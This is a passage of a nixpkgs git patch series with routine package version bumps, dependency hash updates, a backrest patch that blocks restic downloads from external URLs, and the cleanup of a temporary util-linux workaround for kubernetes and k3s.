-    "hash": "sha256-atnfxY6vspMzvMFc9PzwWb/uPNkPx5tF3zDGKeqlGIw="
+    "version": "11.3.0",
+    "hash": "sha256-QOprHb0HjsggEMWOW7/U8pqlD8M4m97FeTMWlriYHaU="
   },
   {
     "pname": "CliWrap",
@@ -196,13 +196,13 @@
   },
   {
     "pname": "Semi.Avalonia",
-    "version": "11.2.1.6",
-    "hash": "sha256-E7FKQe3oQlzaza/ofmSvtrLXWo+ht7QutZKGylGW8QE="
+    "version": "11.2.1.7",
+    "hash": "sha256-LFlgdRcqNR+ZV9Hkyuw7LhaFWKwCuXWRWYM+9sQRBDU="
   },
   {
     "pname": "Semi.Avalonia.DataGrid",
-    "version": "11.2.1.6",
-    "hash": "sha256-uXy8eqoENQXNpfskJgJsKW1HaThMKfMNpiJpzDc5oRo="
+    "version": "11.2.1.7",
+    "hash": "sha256-EWfzKeM5gMoJHx7L9+kAeGtaaY6HeG+NwAxv08rOv6E="
   },
   {
     "pname": "SkiaSharp",
@@ -336,8 +336,8 @@
   },
   {
     "pname": "Tmds.DBus.Protocol",
-    "version": "0.20.0",
-    "hash": "sha256-CRW/tkgsuBiBJfRwou12ozRQsWhHDooeP88E5wWpWJw="
+    "version": "0.21.2",
+    "hash": "sha256-gaK/5aAummyin6ptnhaJbnA0ih4+2xADrtrLfFbHwYI="
   },
   {
     "pname": "WebDav.Client",
diff --git a/pkgs/by-name/v2/v2rayn/package.nix b/pkgs/by-name/v2/v2rayn/package.nix
index 81c3828b9792..d0520467233f 100644
--- a/pkgs/by-name/v2/v2rayn/package.nix
+++ b/pkgs/by-name/v2/v2rayn/package.nix
@@ -1,18 +1,18 @@
 {
-  fetchFromGitHub,
+  lib,
+  stdenv,
   buildDotnetModule,
+  fetchFromGitHub,
   dotnetCorePackages,
+  autoPatchelfHook,
+  copyDesktopItems,
+  makeDesktopItem,
   icu,
   zlib,
-  stdenv,
-  lib,
   fontconfig,
-  autoPatchelfHook,
   openssl,
   lttng-ust_2_12,
   krb5,
-  makeDesktopItem,
-  copyDesktopItems,
   bash,
   xorg,
   xdg-utils,
@@ -21,13 +21,13 @@
 
 buildDotnetModule rec {
   pname = "v2rayn";
-  version = "7.11.1";
+  version = "7.12.5";
 
   src = fetchFromGitHub {
     owner = "2dust";
     repo = "v2rayN";
     tag = version;
-    hash = "sha256-oDjZwVBgTmBQQEl9A0eWZEFq1in82ercSLtoQeVS3k0=";
+    hash = "sha256-gXVriD9g4Coc0B0yN5AlfNre9C9l8V5wv4q3KgKRsF0=";
     fetchSubmodules = true;
   };
 
@@ -36,12 +36,18 @@ buildDotnetModule rec {
   nugetDeps = ./deps.json;
 
   postPatch = ''
+    chmod +x v2rayN/ServiceLib/Sample/proxy_set_linux_sh
+    patchShebangs v2rayN/ServiceLib/Sample/proxy_set_linux_sh
     substituteInPlace v2rayN/ServiceLib/Global.cs \
       --replace-fail "/bin/bash" "${bash}/bin/bash"
+    substituteInPlace v2rayN/ServiceLib/Handler/CoreAdminHandler.cs \
+      --replace-fail "/bin/sh" "${bash}/bin/bash"
     substituteInPlace v2rayN/ServiceLib/Handler/AutoStartupHandler.cs \
       --replace-fail "Utils.GetExePath())" '"v2rayN")'
     substituteInPlace v2rayN/ServiceLib/ViewModels/MainWindowViewModel.cs \
       --replace-fail "nautilus" "${xdg-utils}/bin/xdg-open"
+    substituteInPlace v2rayN/ServiceLib/Handler/CoreHandler.cs \
+      --replace-fail 'Environment.GetEnvironmentVariable(Global.LocalAppData) == "1"' "false"
   '';
 
   dotnetBuildFlags = [ "-p:PublishReadyToRun=false" ];

From 111f0ff1a390fd8e53c9c206838053ca3d445edb Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Fri, 20 Jun 2025 11:15:39 +0000
Subject: [PATCH 2021/4511] v2rayn: 7.12.5 -> 7.12.7

(cherry picked from commit f72730771b5da2e6f7e8d76f5ca37e740babde89)
---
 pkgs/by-name/v2/v2rayn/deps.json   | 111 +++++++++++++----------------
 pkgs/by-name/v2/v2rayn/package.nix |   4 +-
 2 files changed, 50 insertions(+), 65 deletions(-)

diff --git a/pkgs/by-name/v2/v2rayn/deps.json b/pkgs/by-name/v2/v2rayn/deps.json
index 474e080ddbc7..ff1266cf0fd2 100644
--- a/pkgs/by-name/v2/v2rayn/deps.json
+++ b/pkgs/by-name/v2/v2rayn/deps.json
@@ -11,13 +11,13 @@
   },
   {
     "pname": "Avalonia",
-    "version": "11.3.0",
-    "hash": "sha256-Hot4dWkrP5x+JzaP2/7E1QOOiXfPGhkvK1nzBacHvzg="
+    "version": "11.3.1",
+    "hash": "sha256-732wl4/JmvYFS26NLvPD7T/V3J3JZUDy6Xwj5p1TNyE="
   },
   {
     "pname": "Avalonia.Angle.Windows.Natives",
-    "version": "2.1.22045.20230930",
-    "hash": "sha256-RxPcWUT3b/+R3Tu5E5ftpr5ppCLZrhm+OTsi0SwW3pc="
+    "version": "2.1.25547.20250602",
+    "hash": "sha256-LE/lENAHptmz6t3T/AoJwnhpda+xs7PqriNGzdcfg8M="
   },
   {
     "pname": "Avalonia.BuildServices",
@@ -31,38 +31,38 @@
   },
   {
     "pname": "Avalonia.Controls.ColorPicker",
-    "version": "11.3.0",
-    "hash": "sha256-ee3iLrn8OdWH6Mg01p93wYMMCPXS25VM/uZeQWEr+k0="
+    "version": "11.3.1",
+    "hash": "sha256-95sAkALievpuwLtCl7+6PgwNyxx9DAi/vVvQUFT7Qqs="
   },
   {
     "pname": "Avalonia.Controls.DataGrid",
-    "version": "11.3.0",
-    "hash": "sha256-McFggedX7zb9b0FytFeuh+3nPdFqoKm2JMl2VZDs/BQ="
+    "version": "11.3.1",
+    "hash": "sha256-UcfsSNYCd9zO75hyLevVe59/esHgNmcjJOproy3nhNM="
   },
   {
     "pname": "Avalonia.Desktop",
-    "version": "11.3.0",
-    "hash": "sha256-XZXmsKrYCOEWzFUbnwNKvEz5OCD/1lAPi+wM4BiMB7I="
+    "version": "11.3.1",
+    "hash": "sha256-H6SLCi3by9bFF1YR12PnNZSmtC44UQPKr+5+8LvqC90="
   },
   {
     "pname": "Avalonia.Diagnostics",
-    "version": "11.3.0",
-    "hash": "sha256-jO8Fs9kfNGsoZ87zQCxPdn0tyWHcEdgBRIpzkZ0ceM0="
+    "version": "11.3.1",
+    "hash": "sha256-zDX3BfqUFUQ+p1ZWdHuhnV0n5B9RfiEtB8m0Px5AhsI="
   },
   {
     "pname": "Avalonia.FreeDesktop",
-    "version": "11.3.0",
-    "hash": "sha256-nWIW3aDPI/00/k52BNU4n43sS3ymuw+e97EBSsjjtU4="
+    "version": "11.3.1",
+    "hash": "sha256-Iph1SQazNNr9liox0LR7ITidAEEWhp8Mg9Zn4MZVkRQ="
   },
   {
     "pname": "Avalonia.Native",
-    "version": "11.3.0",
-    "hash": "sha256-l6gcCeGd422mLQgVLp2sxh4/+vZxOPoMrxyfjGyhYLs="
+    "version": "11.3.1",
+    "hash": "sha256-jNzqmHm58bbPGs/ogp6gFvinbN81Psg+sg+Z5UsbcDs="
   },
   {
     "pname": "Avalonia.ReactiveUI",
-    "version": "11.3.0",
-    "hash": "sha256-yY/xpe4Te6DLa1HZCWZgIGpdKeZqvknRtpkpBTrZhmU="
+    "version": "11.3.1",
+    "hash": "sha256-m7AFSxwvfz9LAueu0AFC+C7jHrB+lysBmpBh7bhpmUs="
   },
   {
     "pname": "Avalonia.Remote.Protocol",
@@ -76,33 +76,33 @@
   },
   {
     "pname": "Avalonia.Remote.Protocol",
-    "version": "11.3.0",
-    "hash": "sha256-7ytabxzTbPLR3vBCCb7Z6dYRZZVvqiDpvxweOYAqi7I="
+    "version": "11.3.1",
+    "hash": "sha256-evkhJOxKjsR+jNLrXRcrhqjFdlrxYMMMRBJ6FK08vMM="
   },
   {
     "pname": "Avalonia.Skia",
-    "version": "11.3.0",
-    "hash": "sha256-p+mWsyrYsC9PPhNjOxPZwarGuwmIjxaQ4Ml/2XiEuEc="
+    "version": "11.3.1",
+    "hash": "sha256-zN09CcuSqtLcQrTCQOoPJrhLd4LioZqt/Qi4sDp/cJI="
   },
   {
     "pname": "Avalonia.Themes.Simple",
-    "version": "11.3.0",
-    "hash": "sha256-F2DMHskmrJw/KqpYLHGEEuQMVP8T4fXgq5q3tfwFqG0="
+    "version": "11.3.1",
+    "hash": "sha256-U9btigJeFcuOu7T3ryyJJesffnZo1JBb9pWkF0PFu9s="
   },
   {
     "pname": "Avalonia.Win32",
-    "version": "11.3.0",
-    "hash": "sha256-Ltf6EuL6aIG+YSqOqD/ecdqUDsuwhNuh+XilIn7pmlE="
+    "version": "11.3.1",
+    "hash": "sha256-w3+8luJByeIchiVQ0wsq0olDabX/DndigyBEuK8Ty04="
   },
   {
     "pname": "Avalonia.X11",
-    "version": "11.3.0",
-    "hash": "sha256-QOprHb0HjsggEMWOW7/U8pqlD8M4m97FeTMWlriYHaU="
+    "version": "11.3.1",
+    "hash": "sha256-0iUFrDM+10T3OiOeGSEiqQ6EzEucQL3shZUNqOiqkyQ="
   },
   {
     "pname": "CliWrap",
-    "version": "3.8.2",
-    "hash": "sha256-sZQqu03sJL0LlnLssXVXHTen9marNbC/G15mAKjhFJU="
+    "version": "3.9.0",
+    "hash": "sha256-WC1bX8uy+8VZkrV6eK8nJ24Uy81Bj4Aao27OsP1sGyE="
   },
   {
     "pname": "DialogHost.Avalonia",
@@ -116,8 +116,8 @@
   },
   {
     "pname": "DynamicData",
-    "version": "9.1.2",
-    "hash": "sha256-rDbtd7Fw/rhq6s9G4p/rltZ3EIR5r1RcMXsAEe7nZjw="
+    "version": "9.3.2",
+    "hash": "sha256-00fzA28aU48l52TsrDSJ9ucljYOunmH7s2qPyR3YjRA="
   },
   {
     "pname": "Fody",
@@ -126,28 +126,28 @@
   },
   {
     "pname": "HarfBuzzSharp",
-    "version": "7.3.0.3",
-    "hash": "sha256-1vDIcG1aVwVABOfzV09eAAbZLFJqibip9LaIx5k+JxM="
+    "version": "8.3.1.1",
+    "hash": "sha256-614yv6bK9ynhdUnvW4wIkgpBe2sqTh28U9cDZzdhPc0="
   },
   {
     "pname": "HarfBuzzSharp.NativeAssets.Linux",
-    "version": "7.3.0.3",
-    "hash": "sha256-HW5r16wdlgDMbE/IfE5AQGDVFJ6TS6oipldfMztx+LM="
+    "version": "8.3.1.1",
+    "hash": "sha256-sBbez6fc9axVcsBbIHbpQh/MM5NHlMJgSu6FyuZzVyU="
   },
   {
     "pname": "HarfBuzzSharp.NativeAssets.macOS",
-    "version": "7.3.0.3",
-    "hash": "sha256-UpAVfRIYY8Wh8xD4wFjrXHiJcvlBLuc2Xdm15RwQ76w="
+    "version": "8.3.1.1",
+    "hash": "sha256-hK20KbX2OpewIO5qG5gWw5Ih6GoLcIDgFOqCJIjXR/Q="
   },
   {
     "pname": "HarfBuzzSharp.NativeAssets.WebAssembly",
-    "version": "7.3.0.3",
-    "hash": "sha256-jHrU70rOADAcsVfVfozU33t/5B5Tk0CurRTf4fVQe3I="
+    "version": "8.3.1.1",
+    "hash": "sha256-mLKoLqI47ZHXqTMLwP1UCm7faDptUfQukNvdq6w/xxw="
   },
   {
     "pname": "HarfBuzzSharp.NativeAssets.Win32",
-    "version": "7.3.0.3",
-    "hash": "sha256-v/PeEfleJcx9tsEQAo5+7Q0XPNgBqiSLNnB2nnAGp+I="
+    "version": "8.3.1.1",
+    "hash": "sha256-Um4iwLdz9XtaDSAsthNZdev6dMiy7OBoHOrorMrMYyo="
   },
   {
     "pname": "MessageBox.Avalonia",
@@ -186,8 +186,8 @@
   },
   {
     "pname": "ReactiveUI",
-    "version": "20.2.45",
-    "hash": "sha256-7JzWD40/iNnp7+wuG/qEJoVXQz0T7qipq5NWJFxJ6VM="
+    "version": "20.3.1",
+    "hash": "sha256-1eCZ5M+zkVmlPYuK1gBDCdyCGlYbXIfX+h6Vz0hu8e4="
   },
   {
     "pname": "ReactiveUI.Fody",
@@ -196,13 +196,13 @@
   },
   {
     "pname": "Semi.Avalonia",
-    "version": "11.2.1.7",
-    "hash": "sha256-LFlgdRcqNR+ZV9Hkyuw7LhaFWKwCuXWRWYM+9sQRBDU="
+    "version": "11.2.1.8",
+    "hash": "sha256-1P3hr634woqLtNrWOiJWzizwh0AMWt9Y7J1SXHIkv5M="
   },
   {
     "pname": "Semi.Avalonia.DataGrid",
-    "version": "11.2.1.7",
-    "hash": "sha256-EWfzKeM5gMoJHx7L9+kAeGtaaY6HeG+NwAxv08rOv6E="
+    "version": "11.2.1.8",
+    "hash": "sha256-OKb+vlKSf9e0vL5mGNzSEr62k1Zy/mS4kXWGHZHcBq0="
   },
   {
     "pname": "SkiaSharp",
@@ -294,11 +294,6 @@
     "version": "8.0.0",
     "hash": "sha256-LdpB1s4vQzsOODaxiKstLks57X9DTD5D6cPx8DE1wwE="
   },
-  {
-    "pname": "System.IO.Pipelines",
-    "version": "9.0.2",
-    "hash": "sha256-uxM7J0Q/dzEsD0NGcVBsOmdHiOEawZ5GNUKBwpdiPyE="
-  },
   {
     "pname": "System.Memory",
     "version": "4.5.3",
@@ -319,16 +314,6 @@
     "version": "5.0.0",
     "hash": "sha256-CBOQwl9veFkrKK2oU8JFFEiKIh/p+aJO+q9Tc2Q/89Y="
   },
-  {
-    "pname": "System.Text.Encodings.Web",
-    "version": "9.0.2",
-    "hash": "sha256-tZhc/Xe+SF9bCplthph2QmQakWxKVjMfQJZzD1Xbpg8="
-  },
-  {
-    "pname": "System.Text.Json",
-    "version": "9.0.2",
-    "hash": "sha256-kftKUuGgZtF4APmp77U79ws76mEIi+R9+DSVGikA5y8="
-  },
   {
     "pname": "TaskScheduler",
     "version": "2.12.1",
diff --git a/pkgs/by-name/v2/v2rayn/package.nix b/pkgs/by-name/v2/v2rayn/package.nix
index d0520467233f..5526d50f5268 100644
--- a/pkgs/by-name/v2/v2rayn/package.nix
+++ b/pkgs/by-name/v2/v2rayn/package.nix
@@ -21,13 +21,13 @@
 
 buildDotnetModule rec {
   pname = "v2rayn";
-  version = "7.12.5";
+  version = "7.12.7";
 
   src = fetchFromGitHub {
     owner = "2dust";
     repo = "v2rayN";
     tag = version;
-    hash = "sha256-gXVriD9g4Coc0B0yN5AlfNre9C9l8V5wv4q3KgKRsF0=";
+    hash = "sha256-pYkUbctdN3qaGxI5DbreoOGmXyIVrpHqYlN3BFRCcZ8=";
     fetchSubmodules = true;
   };
 

From 3ea453b0be2dbeac76fa9d19067406cbc59f3071 Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Wed, 2 Jul 2025 21:41:27 +0000
Subject: [PATCH 2022/4511] alertmanager-ntfy: 1.0.0 -> 1.0.1

Diff: https://github.com/alexbakker/alertmanager-ntfy/compare/v1.0.0...v1.0.1
(cherry picked from commit 302f10d89bec5780d6be99611b3d087ee97d9636)
---
 pkgs/by-name/al/alertmanager-ntfy/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/al/alertmanager-ntfy/package.nix b/pkgs/by-name/al/alertmanager-ntfy/package.nix
index 32144dba93e1..dd0ce61d4212 100644
--- a/pkgs/by-name/al/alertmanager-ntfy/package.nix
+++ b/pkgs/by-name/al/alertmanager-ntfy/package.nix
@@ -8,13 +8,13 @@
 
 buildGoModule (finalAttrs: {
   pname = "alertmanager-ntfy";
-  version = "1.0.0";
+  version = "1.0.1";
 
   src = fetchFromGitHub {
     owner = "alexbakker";
     repo = "alertmanager-ntfy";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-tyRBfcPL0tzsZgWwgjSW9eMcXZAotkx88tjDr2gw4s4=";
+    hash = "sha256-CtjWZIw0RHVnPP5OMiLbPjv/EuJI6GfWo2hEzRi7zVI=";
   };
 
   vendorHash = "sha256-CpVGLM6ZtfYODhP6gzWGcnpEuDvKRiMWzoPNm2qtML4=";

From d1760b773c77ba7ebda93e77a8663a4371878fbf Mon Sep 17 00:00:00 2001
From: Tom van Dijk <18gatenmaker6@gmail.com>
Date: Thu, 3 Jul 2025 23:52:03 +0200
Subject: [PATCH 2023/4511] backrest: never download restic from an external
 URL

(cherry picked from commit 125ae45fe620e2730738fe513d7f76228c99e45c)
---
 pkgs/by-name/ba/backrest/package.nix | 18 +++++++++++++++++-
 1 file changed, 17 insertions(+), 1 deletion(-)

diff --git a/pkgs/by-name/ba/backrest/package.nix b/pkgs/by-name/ba/backrest/package.nix
index 73472f3d62b0..fa42dab819ea 100644
--- a/pkgs/by-name/ba/backrest/package.nix
+++ b/pkgs/by-name/ba/backrest/package.nix
@@ -8,6 +8,7 @@
   restic,
   stdenv,
   util-linux,
+  makeBinaryWrapper,
 }:
 let
   pname = "backrest";
@@ -53,9 +54,19 @@ in
 buildGoModule {
   inherit pname src version;
 
+  postPatch = ''
+    sed -i -e \
+      '/func installRestic(targetPath string) error {/a\
+        return fmt.Errorf("installing restic from an external source is prohibited by nixpkgs")' \
+      internal/resticinstaller/resticinstaller.go
+  '';
+
   vendorHash = "sha256-AINnBkP+e9C/f/C3t6NK+6PYSVB4NON0C71S6SwUXbE=";
 
-  nativeBuildInputs = [ gzip ];
+  nativeBuildInputs = [
+    gzip
+    makeBinaryWrapper
+  ];
 
   preBuild = ''
     mkdir -p ./webui/dist
@@ -87,6 +98,11 @@ buildGoModule {
     export HOME=$(pwd)
   '';
 
+  postInstall = ''
+    wrapProgram $out/bin/backrest \
+      --set-default BACKREST_RESTIC_COMMAND "${lib.getExe restic}"
+  '';
+
   meta = {
     description = "Web UI and orchestrator for restic backup";
     homepage = "https://github.com/garethgeorge/backrest";

From adf964c0deb7d991375616897cc0c20cb52b24bb Mon Sep 17 00:00:00 2001
From: Morgan Jones <me@numin.it>
Date: Wed, 2 Jul 2025 23:43:29 -0700
Subject: [PATCH 2024/4511] kubernetes: use util-linuxMinimal instead of
 util-linux.withPatches

This, and commits to k3s and util-linux close #409339.
The util-linux.withPatches API was a temporary hack for the 25.05
release to fix Kubernetes, and is going away.

While we're at it, we should use util-linuxMinimal because we do not
need things such as systemd support for kubelet initialization.

(cherry picked from commit 949e299d246a7e2d64402dec4c3c0a841416987a)
---
 nixos/modules/services/cluster/kubernetes/kubelet.nix | 5 +----
 1 file changed, 1 insertion(+), 4 deletions(-)

diff --git a/nixos/modules/services/cluster/kubernetes/kubelet.nix b/nixos/modules/services/cluster/kubernetes/kubelet.nix
index ca7b524081f6..9ab5d0baf8c7 100644
--- a/nixos/modules/services/cluster/kubernetes/kubelet.nix
+++ b/nixos/modules/services/cluster/kubernetes/kubelet.nix
@@ -336,10 +336,7 @@ in
           [
             gitMinimal
             openssh
-            # TODO (#409339): remove this patch. We had to add it to avoid a mass rebuild
-            # for the 25.05 release. Once the staging cycle referenced in the above PR completes,
-            # switch back to plain util-linux.
-            util-linux.withPatches
+            util-linuxMinimal
             iproute2
             ethtool
             thin-provisioning-tools

From 5c5b1d82686f29a41435bcc3096f09ef45636cfa Mon Sep 17 00:00:00 2001
From: Morgan Jones <me@numin.it>
Date: Wed, 2 Jul 2025 23:43:59 -0700
Subject: [PATCH 2025/4511] k3s: drop util-linux.withPatches

This, as well as commits to kubernetes and util-linux, close #409339.
util-linux.withPatches was a temporary hack to unbreak Kubernetes for
the 25.05 release.

(cherry picked from commit e6886d7080bac9c1c59b03c9ae1e65030106437b)
---
 pkgs/applications/networking/cluster/k3s/builder.nix | 7 +------
 1 file changed, 1 insertion(+), 6 deletions(-)

diff --git a/pkgs/applications/networking/cluster/k3s/builder.nix b/pkgs/applications/networking/cluster/k3s/builder.nix
index e2662f989452..6d23342c9136 100644
--- a/pkgs/applications/networking/cluster/k3s/builder.nix
+++ b/pkgs/applications/networking/cluster/k3s/builder.nix
@@ -332,11 +332,6 @@ let
       ldflags = versionldflags;
     }).overrideAttrs
       overrideContainerdAttrs;
-
-  # TODO (#409339): remove this patch. We had to add it to avoid a mass rebuild
-  # for the 25.05 release. Once the staging cycle referenced in the above PR completes,
-  # switch back to plain util-linuxMinimal.
-  k3sUtilLinux = util-linuxMinimal.withPatches;
 in
 buildGoModule rec {
   pname = "k3s";
@@ -383,7 +378,7 @@ buildGoModule rec {
     ipset
     bridge-utils
     ethtool
-    k3sUtilLinux # kubelet wants 'nsenter' and 'mount' from util-linux: https://github.com/kubernetes/kubernetes/issues/26093#issuecomment-705994388
+    util-linuxMinimal # kubelet wants 'nsenter' and 'mount' from util-linux: https://github.com/kubernetes/kubernetes/issues/26093#issuecomment-705994388
     conntrack-tools
     runc
     bash

From c72e4edc5f22cbfc6011b6184558ce94861f7e36 Mon Sep 17 00:00:00 2001
From: Morgan Jones <me@numin.it>
Date: Wed, 2 Jul 2025 23:44:54 -0700
Subject: [PATCH 2026/4511] util-linux: drop withPatches

Closes #409339. This API was intended to be a temporary hack to fix
Kubernetes and other consumers that relied on this specific util-linux
mount behavior. Now that util-linux is correctly patched, we can drop
this passthru.

(cherry picked from commit 91a3afac528cad2c1a6048a9bb0c2d1d31207440)
---
 pkgs/by-name/ut/util-linux/package.nix | 12 ------------
 1 file changed, 12 deletions(-)

diff --git a/pkgs/by-name/ut/util-linux/package.nix b/pkgs/by-name/ut/util-linux/package.nix
index 702cc21ebd6a..92b7785d53f0 100644
--- a/pkgs/by-name/ut/util-linux/package.nix
+++ b/pkgs/by-name/ut/util-linux/package.nix
@@ -202,18 +202,6 @@ stdenv.mkDerivation (finalPackage: rec {
     '';
 
   passthru = {
-    # TODO (#409339): Remove this hack. We had to add it to avoid a mass rebuild
-    # for the 25.05 release to fix Kubernetes. Once the staging cycle referenced
-    # in the above PR completes, this passthru and all consumers of it should go away.
-    withPatches = finalPackage.overrideAttrs (prev: {
-      patches = lib.unique (
-        prev.patches or [ ]
-        ++ [
-          ./fix-mount-regression.patch
-        ]
-      );
-    });
-
     updateScript = gitUpdater {
       # No nicer place to find latest release.
       url = "https://git.kernel.org/pub/scm/utils/util-linux/util-linux.git";

From 49f1decc4bf6530198d080e299d84ad3b317dea1 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Thu, 15 May 2025 06:37:00 +0000
Subject: [PATCH 2027/4511] pmbootstrap: 3.3.2 -> 3.4.0

(cherry picked from commit 94999c30ed18501025e5a038456978e42c805105)
---
 pkgs/by-name/pm/pmbootstrap/package.nix | 20 +++++++++++++-------
 1 file changed, 13 insertions(+), 7 deletions(-)

diff --git a/pkgs/by-name/pm/pmbootstrap/package.nix b/pkgs/by-name/pm/pmbootstrap/package.nix
index d4890c950e75..42230293293d 100644
--- a/pkgs/by-name/pm/pmbootstrap/package.nix
+++ b/pkgs/by-name/pm/pmbootstrap/package.nix
@@ -15,14 +15,14 @@
 
 python3Packages.buildPythonApplication rec {
   pname = "pmbootstrap";
-  version = "3.3.2";
+  version = "3.4.0";
   pyproject = true;
 
   src = fetchFromGitLab {
     owner = "postmarketOS";
-    repo = pname;
+    repo = "pmbootstrap";
     tag = version;
-    hash = "sha256-A/hWJwyx/k9+NNOJBuor2qQi5gRB3Rpp5qnRloFM0FM=";
+    hash = "sha256-vNa0MMU5NHO8RjgfKxNjhQDKQ2Rd/ZGU0HndOD2Sypo=";
     domain = "gitlab.postmarketos.org";
   };
 
@@ -52,10 +52,16 @@ python3Packages.buildPythonApplication rec {
   '';
 
   # skip impure tests
-  disabledTests = [
-    "test_pkgrepo_pmaports"
-    "test_random_valid_deviceinfos"
-  ];
+  disabledTests =
+    [
+      "test_pkgrepo_pmaports"
+      "test_random_valid_deviceinfos"
+    ]
+    ++ lib.optionals (stdenv.hostPlatform.isLinux && stdenv.hostPlatform.isAarch64) [
+      # assert chroot.type == ChrootType.BUILDROOT
+      # AssertionError: assert <ChrootType.NATIVE: 'native'> == <ChrootType.BUILDROOT: 'buildroot'>
+      "test_valid_chroots"
+    ];
 
   versionCheckProgramArg = "--version";
 

From 13e739864a6ab26b31eb201a8ff9b62b2b9c8e9b Mon Sep 17 00:00:00 2001
From: fossdd <fossdd@pwned.life>
Date: Sat, 31 May 2025 16:58:04 +0200
Subject: [PATCH 2028/4511] pmbootstrap: 3.4.0 -> 3.4.2

https://gitlab.postmarketos.org/postmarketOS/pmbootstrap/-/tags/3.4.1

https://gitlab.postmarketos.org/postmarketOS/pmbootstrap/-/tags/3.4.2
(cherry picked from commit 74be6ce921c16b52aac0460b0735bbb9f948c4ed)
---
 pkgs/by-name/pm/pmbootstrap/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/pm/pmbootstrap/package.nix b/pkgs/by-name/pm/pmbootstrap/package.nix
index 42230293293d..0b71d0e307e9 100644
--- a/pkgs/by-name/pm/pmbootstrap/package.nix
+++ b/pkgs/by-name/pm/pmbootstrap/package.nix
@@ -15,14 +15,14 @@
 
 python3Packages.buildPythonApplication rec {
   pname = "pmbootstrap";
-  version = "3.4.0";
+  version = "3.4.2";
   pyproject = true;
 
   src = fetchFromGitLab {
     owner = "postmarketOS";
     repo = "pmbootstrap";
     tag = version;
-    hash = "sha256-vNa0MMU5NHO8RjgfKxNjhQDKQ2Rd/ZGU0HndOD2Sypo=";
+    hash = "sha256-5N8yAd/1gSzHP2wXpqZb+LpylQ/LYspJ+YaY2YaWCSs=";
     domain = "gitlab.postmarketos.org";
   };
 
@@ -80,7 +80,7 @@ python3Packages.buildPythonApplication rec {
 
   meta = {
     description = "Sophisticated chroot/build/flash tool to develop and install postmarketOS";
-    homepage = "https://gitlab.com/postmarketOS/pmbootstrap";
+    homepage = "https://gitlab.postmarketos.org/postmarketOS/pmbootstrap";
     license = lib.licenses.gpl3Plus;
     maintainers = with lib.maintainers; [
       onny

From 68fbbf76382d967df610c75e42ebe4aa072c79b3 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sun, 15 Jun 2025 05:57:55 +0000
Subject: [PATCH 2029/4511] pmbootstrap: 3.4.2 -> 3.5.0

(cherry picked from commit 5b63890c4a31d15e674aa431e4d060f18a4d8a46)
---
 pkgs/by-name/pm/pmbootstrap/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/pm/pmbootstrap/package.nix b/pkgs/by-name/pm/pmbootstrap/package.nix
index 0b71d0e307e9..609ff67fed80 100644
--- a/pkgs/by-name/pm/pmbootstrap/package.nix
+++ b/pkgs/by-name/pm/pmbootstrap/package.nix
@@ -15,14 +15,14 @@
 
 python3Packages.buildPythonApplication rec {
   pname = "pmbootstrap";
-  version = "3.4.2";
+  version = "3.5.0";
   pyproject = true;
 
   src = fetchFromGitLab {
     owner = "postmarketOS";
     repo = "pmbootstrap";
     tag = version;
-    hash = "sha256-5N8yAd/1gSzHP2wXpqZb+LpylQ/LYspJ+YaY2YaWCSs=";
+    hash = "sha256-wdJl7DrSm1Jht0KEqZ9+qjqlkE+Y6oBdzEHTCgIGJ84=";
     domain = "gitlab.postmarketos.org";
   };
 

From d74fa287e1f1502ad51a80733107e2b030c0c63a Mon Sep 17 00:00:00 2001
From: fossdd <fossdd@pwned.life>
Date: Wed, 2 Jul 2025 19:16:12 +0200
Subject: [PATCH 2030/4511] pmbootstrap: 3.5.0 -> 3.5.2

https://gitlab.postmarketos.org/postmarketOS/pmbootstrap/-/tags/3.5.1

https://gitlab.postmarketos.org/postmarketOS/pmbootstrap/-/tags/3.5.2
(cherry picked from commit 9eeac4744d401c45f12f36a6e5a8ba4f43dc92cc)
---
 pkgs/by-name/pm/pmbootstrap/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/pm/pmbootstrap/package.nix b/pkgs/by-name/pm/pmbootstrap/package.nix
index 609ff67fed80..e05c89017f4a 100644
--- a/pkgs/by-name/pm/pmbootstrap/package.nix
+++ b/pkgs/by-name/pm/pmbootstrap/package.nix
@@ -15,14 +15,14 @@
 
 python3Packages.buildPythonApplication rec {
   pname = "pmbootstrap";
-  version = "3.5.0";
+  version = "3.5.2";
   pyproject = true;
 
   src = fetchFromGitLab {
     owner = "postmarketOS";
     repo = "pmbootstrap";
     tag = version;
-    hash = "sha256-wdJl7DrSm1Jht0KEqZ9+qjqlkE+Y6oBdzEHTCgIGJ84=";
+    hash = "sha256-fkzDVMO0huAuJDJIt0dyNGnRD6Go7XZ/YRv/JMtlbss=";
     domain = "gitlab.postmarketos.org";
   };
 

From a1f7426e906d6bf90b2bbf9256940fdef526eb5b Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Marcel=20M=C3=BCller?= <neikos@neikos.email>
Date: Thu, 12 Jun 2025 09:38:54 +0200
Subject: [PATCH 2031/4511] bikeshed: Add hemera as maintainer
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Signed-off-by: Marcel Müller <neikos@neikos.email>
(cherry picked from commit 72443cf91ad2fa4fc35cbe3cd798998b15f7003f)
---
 pkgs/applications/misc/bikeshed/default.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/pkgs/applications/misc/bikeshed/default.nix b/pkgs/applications/misc/bikeshed/default.nix
index 3d66432a50f7..f1fef08b3175 100644
--- a/pkgs/applications/misc/bikeshed/default.nix
+++ b/pkgs/applications/misc/bikeshed/default.nix
@@ -102,6 +102,6 @@ buildPythonApplication rec {
     '';
     homepage = "https://tabatkins.github.io/bikeshed/";
     license = licenses.cc0;
-    maintainers = [ ];
+    maintainers = with lib.maintainers; [ hemera ];
   };
 }

From 6ba03750703e49b1b78c764d3dda670f4fe92fbb Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Marcel=20M=C3=BCller?= <neikos@neikos.email>
